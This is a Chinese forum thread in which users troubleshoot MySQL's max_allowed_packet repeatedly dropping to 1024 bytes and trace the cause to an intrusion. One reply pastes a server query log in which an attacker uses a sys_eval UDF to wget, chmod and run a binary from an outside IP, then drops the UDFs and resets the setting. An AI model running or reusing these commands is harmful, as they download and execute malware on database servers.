mysql 的 max_allowed_packet 设置后经常变化

小人物_Amor 发布于 2015/06/16 16:48
阅读 19K+
收藏 1

环境:linux centOS6.5 数据库:mysql 5.1.73,因为数据表中含有blob字段,所以我在/etc/my.cnf中设置max_allowed_packet = 4M,但是一段时间(这个时间不确定)后,项目出现无法访问数据库的情况,项目重新启动报如下错误:

Caused by: org.hibernate.exception.GenericJDBCException: Packet for query is too large (8742 > 1024). You can change this value on the server by setting the max_allowed_packet' variable.
    at org.hibernate.exception.internal.StandardSQLExceptionConverter.convert(StandardSQLExceptionConverter.java:54)
    at org.hibernate.engine.jdbc.spi.SqlExceptionHelper.convert(SqlExceptionHelper.java:125)
    at org.hibernate.engine.jdbc.spi.SqlExceptionHelper.convert(SqlExceptionHelper.java:110)
    at org.hibernate.engine.jdbc.internal.proxy.AbstractStatementProxyHandler.continueInvocation(AbstractStatementProxyHandler.java:129)
    at org.hibernate.engine.jdbc.internal.proxy.AbstractProxyHandler.invoke(AbstractProxyHandler.java:81)
    at com.sun.proxy.$Proxy140.executeQuery(Unknown Source)
    at org.hibernate.loader.Loader.getResultSet(Loader.java:1897)
    at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1698)
    at org.hibernate.loader.Loader.doQuery(Loader.java:832)
    at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:293)
    at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:263)
    at org.hibernate.loader.Loader.loadEntity(Loader.java:1977)
    at org.hibernate.loader.entity.AbstractEntityLoader.load(AbstractEntityLoader.java:82)
    at org.hibernate.loader.entity.AbstractEntityLoader.load(AbstractEntityLoader.java:72)
    at org.hibernate.persister.entity.AbstractEntityPersister.load(AbstractEntityPersister.java:3821)
    at org.hibernate.event.internal.DefaultLoadEventListener.loadFromDatasource(DefaultLoadEventListener.java:458)
    at org.hibernate.event.internal.DefaultLoadEventListener.doLoad(DefaultLoadEventListener.java:427)
    at org.hibernate.event.internal.DefaultLoadEventListener.load(DefaultLoadEventListener.java:204)
    at org.hibernate.event.internal.DefaultLoadEventListener.proxyOrLoad(DefaultLoadEventListener.java:260)
    at org.hibernate.event.internal.DefaultLoadEventListener.onLoad(DefaultLoadEventListener.java:148)
    at org.hibernate.internal.SessionImpl.fireLoad(SessionImpl.java:1075)
    at org.hibernate.internal.SessionImpl.internalLoad(SessionImpl.java:1002)
    at org.hibernate.type.EntityType.resolveIdentifier(EntityType.java:613)
    at org.hibernate.type.EntityType.resolve(EntityType.java:441)
    at org.hibernate.engine.internal.TwoPhaseLoad.doInitializeEntity(TwoPhaseLoad.java:168)
    at org.hibernate.engine.internal.TwoPhaseLoad.initializeEntity(TwoPhaseLoad.java:134)
    at org.hibernate.loader.Loader.initializeEntitiesAndCollections(Loader.java:999)
    at org.hibernate.loader.Loader.doQuery(Loader.java:878)
    at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:293)
    at org.hibernate.loader.Loader.doList(Loader.java:2382)
    at org.hibernate.loader.Loader.doList(Loader.java:2368)
    at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2198)
    at org.hibernate.loader.Loader.list(Loader.java:2193)
    at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:470)
    at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:355)
    at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:195)
    at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1244)
    at org.hibernate.internal.QueryImpl.list(QueryImpl.java:101)
    at org.hibernate.ejb.QueryImpl.getResultList(QueryImpl.java:257)
    ... 32 more


重启数据库后又可以正常访问,很明显是max_allowed_packet 变成了1024字节了,不知道这样的问题各位大神有没有相关处理经验,请指教,谢谢!

加载中
0
南湖船老大
南湖船老大

我觉得应该不是 max_allowed_packet 变了,而是你根本没设置对或者没生效,只不过之前没遇到大的数据,大数据来了就挂了。

my.cnf里面max_allowed_packet是需要在两个地方设置的。

小人物_Amor
小人物_Amor
@wangxi得 我目前的处理方式是写了一个linux定时任务,和你的意思差不多,做“4M处理”
小人物_Amor
小人物_Amor
@南湖船老大 设置生效了,为了测试是否生效,我把max_allowed_packet设置为最低1024,然后模拟一个插入操作,就会报这样的错,反之设置大点之后就可以了。至于你说的两个地方都设置可以试试,谢谢了!
南湖船老大
南湖船老大
回复 @wangxi得 : mysql和mysqld 两个段落
wangxi得
wangxi得
那两个地方?
0
wangxi得
wangxi得

前段时间我也遇到过,有二种解决方案

1.在my.cnf文件中,添加内存设置参数

2.通过程序进行处理,在查询之前查看是否变为1M,如果是,做4M处理,不是的话,不处理

总结下来,单纯设置my.cnf参数过段时间就好了,很莫名其妙的

智不别扬
智不别扬
貌似是这个1024是字节~ 也就是说变成1K了
0
智不别扬
智不别扬
这个后来通过分析mysql日志查到问题了,服务器内存不足mysql重置~ 给弄的  擦~
小人物_Amor
小人物_Amor
如何解决这种情况?mysql有的查询就是很占内存,怎么破?
0
智不别扬
智不别扬

引用来自“智不别扬”的评论

这个后来通过分析mysql日志查到问题了,服务器内存不足mysql重置~ 给弄的  擦~
回复 @小人物_Amor : :)之前的这个问题的我的结论是错误的因为后来又出现了~~
然后我开启了mysql的查询日志general_log_file 发现了我的myql出现这个问题的所在。(源于黑客攻击)某些时刻一个莫名的ip登录我的mysql 然后利用mysql的udf来更改一些参数~ 包括max_allowed_packet=1024的设置~后来处理的方案是限制ip登录~~其实更简单的可以直接关掉mysql的udf功能。
先森姓王
先森姓王
我也发现这个问题,是被黑客攻击了
0
先森姓王
先森姓王
这个问题还有人解答没
先森姓王
先森姓王
@小人物_Amor 是的,最后我打开mysql日志,发现是被攻击了,利用mysql 执行程序,去下载一个二进制文件,等操作,当以上命令执行完后它由重新设置max_allowed_packet 的大小
小人物_Amor
小人物_Amor
您遇到这个问题了?@先森姓王
0
先森姓王
先森姓王

这个是mysql服务器被攻击了 开启mysql日志就会发现 是被人修改了

184 Query select sys_eval('wget http://222.186.30.233:999/V9SYN;chmod 777 V9SYN;./V9SYN;')
 184 Query select sys_eval('chmod 777 http://222.186.30.233:999;')
 184 Query select sys_eval('./http://222.186.30.233:999;')
 184 Query select sys_eval('wget http://222.186.30.233:999/V9SYN;chmod 777 V9SYN;./V9SYN;')
 184 Query select sys_eval('wget http://222.186.30.233:999/V9SYN;chmod 777 V9SYN;./V9SYN;')
 184 Quit 
160106 13:08:32  185 Connect root@10.10.10.1 on mysql
 185 Query SHOW VARIABLES LIKE '%compile_os%'
 185 Query select sys_eval('wget http://222.186.30.233:999/V9SYN;chmod 777 V9SYN;./V9SYN;')
 185 Query select sys_eval('wget http://222.186.30.233:999/V9SYN;chmod 777 V9SYN;./V9SYN;')
 185 Query FLUSH PRIVILEGES
 185 Query select sys_eval('wget http://222.186.30.233:999/V9SYN;chmod 777 V9SYN;./V9SYN;')
   2 Query SET autocommit=0
   2 Query select RES.*  
    from ACT_RU_JOB RES
      LEFT OUTER JOIN ACT_RU_EXECUTION PI ON PI.ID_ = RES.PROCESS_INSTANCE_ID_
    where (RETRIES_ > 0)
      and (DUEDATE_ is null or DUEDATE_ <= '2016-01-06 13:08:32.255')
      and (LOCK_OWNER_ is null or LOCK_EXP_TIME_ <= '2016-01-06 13:08:32.255')
      and (
          (RES.EXECUTION_ID_ is null)
        or 
        (PI.SUSPENSION_STATE_ = 1)     
      )  
    LIMIT 1 OFFSET 0
   2 Query commit
 185 Query FLUSH PRIVILEGES
   2 Query SET autocommit=1
   2 Query select @@session.tx_read_only
   2 Query SET autocommit=0
   2 Query select RES.*
    from ACT_RU_JOB RES
    LEFT OUTER JOIN ACT_RU_EXECUTION PI ON PI.ID_ = RES.PROCESS_INSTANCE_ID_
    where (RES.TYPE_ = 'timer')
      and (RES.DUEDATE_ is not null)
      and (RES.DUEDATE_ < '2016-01-06 13:08:37.257')
      and (RES.LOCK_OWNER_ is null or RES.LOCK_EXP_TIME_ < '2016-01-06 13:08:37.257')
      and (RES.RETRIES_  > 0)
      and (
        (RES.EXECUTION_ID_ is null)
        or 
        (PI.SUSPENSION_STATE_ = 1)    
      )
    order by DUEDATE_
   2 Query commit
   2 Query SET autocommit=1
   2 Query select @@session.tx_read_only
 185 Query DROP FUNCTION IF EXISTS lib_mysqludf_sys_info
 185 Query DROP FUNCTION IF EXISTS sys_get
 185 Query DROP FUNCTION IF EXISTS sys_set
 185 Query DROP FUNCTION IF EXISTS sys_exec
 185 Query DROP FUNCTION IF EXISTS sys_eval
 185 Query DROP FUNCTION IF EXISTS cmdshell
 185 Query set global log_bin_trust_function_creators=0
 185 Query SET GLOBAL log_bin_trust_function_creators=FALSE
 185 Query SET GLOBAL max_allowed_packet=1024
 185 Query FLUSH PRIVILEGES
 185 Query DROP FUNCTION IF EXISTS lib_mysqludf_sys_info
 185 Query DROP FUNCTION IF EXISTS sys_get
 185 Query DROP FUNCTION IF EXISTS sys_set
 185 Query DROP FUNCTION IF EXISTS sys_exec
 185 Query DROP FUNCTION IF EXISTS sys_eval
 185 Query DROP FUNCTION IF EXISTS cmdshell
 185 Query set global log_bin_trust_function_creators=0
 185 Query SET GLOBAL log_bin_trust_function_creators=FALSE
160106 13:08:33  185 Query SET GLOBAL max_allowed_packet=1024
 185 Query FLUSH PRIVILEGES
 185 Quit 
 186 Connect root@10.10.10.1 on mysql
 186 Query DROP FUNCTION IF EXISTS lib_mysqludf_sys_info
 186 Query DROP FUNCTION IF EXISTS sys_get
 186 Query DROP FUNCTION IF EXISTS sys_set
 186 Query DROP FUNCTION IF EXISTS sys_exec
 186 Query DROP FUNCTION IF EXISTS sys_eval
 186 Query DROP FUNCTION IF EXISTS cmdshell
 186 Query set global log_bin_trust_function_creators=0
 186 Query SET GLOBAL log_bin_trust_function_creators=FALSE
 186 Query SET GLOBAL max_allowed_packet=1024
 186 Query FLUSH PRIVILEGES

蜀黍凯
蜀黍凯
Connect root@10.10.10.1 on mysql 你这个就是因为内存的问题了吧。明显的IP地址为你本地局域网
asflex
asflex
你是怎么解决的?
返回顶部
顶部